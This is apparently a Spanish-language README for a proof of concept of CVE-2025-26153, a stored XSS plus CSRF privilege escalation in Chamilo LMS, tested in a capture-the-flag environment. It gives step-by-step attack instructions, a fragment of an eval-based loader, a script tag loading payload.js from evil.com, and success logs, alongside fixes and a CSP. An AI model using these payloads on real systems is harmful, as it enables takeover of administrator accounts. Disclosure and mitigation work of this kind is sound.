
Chamilo-LMS (v2.0) CVE-2025-26153
Este repositorio contiene una prueba de concepto que demuestra una vulnerabilidad de cross-site scripting (XSS) almacenado en Chamilo LMS que puede ser explotada para lograr escalada de privilegios desde un usuario normal hasta administrador de la plataforma. Esta vulnerabilidad está indexada y parcheada: https://nvd.nist.gov/vuln/detail/CVE-2025-26153
Ubicaciones de Código Vulnerable:
/public/main/forum/forumqualify.php - Línea 277
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
/public/main/forum/viewforum.php - Línea 369
.$thread->getTitle().'</a>';
¡Hay más!
Causa Raíz:
Paso 1: Recopilar Información del Usuario Objetivo
Social Network -> Personal Datauser_info y anota la siguiente información:
Paso 2: Generar Carga Personalizada
python generate_payload.py
payload.js personalizadoPaso 3: Alojar Carga Externa
payload.js generado a un servicio de alojamiento público:
Paso 4: Acceder a Grupos Sociales
Social Network -> Social groupsPaso 5: Unirse o Crear un Grupo Social
Paso 6: Desplegar Carga XSS
eval(x.responseText);x.send()">
YOUR-HOST-SERVER con tu URL de alojamiento realPaso 7: Activar la Escalada de Privilegios
Paso 8: Confirmar Escalada de Privilegios
El script generate_payload.py permite personalizar el ataque de escalada de privilegios:
Parámetros de Entrada:
1. Atacante crea un hilo de foro malicioso
└── Título: <script src=//evil.com/payload.js></script>
2. El administrador navega al foro y ve el hilo
└── El navegador carga y ejecuta el JavaScript externo
3. La carga crea un formulario oculto con datos de escalada de privilegios
└── Apunta un ID de Usuario específico para promoción a administrador
4. El formulario se autoenvía mediante un ataque CSRF
└── Utiliza automáticamente las cookies de sesión del administrador
5. El usuario objetivo se convierte en administrador de la plataforma
└── El atacante obtiene control total de la plataforma
Sanitización de Entrada
// Antes
$threadEntity->getTitle()
// Después
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
Codificación de Salida
<!-- Antes -->
{{ thread.title }}
<!-- Después -->
{{ thread.title|escape }}
Política de Seguridad de Contenido
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Monitorear:
AVISO LEGAL IMPORTANTE
Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
Descubrimiento y Análisis: US Cyber Combine
Entorno de Pruebas: Entorno CTF de USCG
Salida de Consola de un Ataque Exitoso:
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200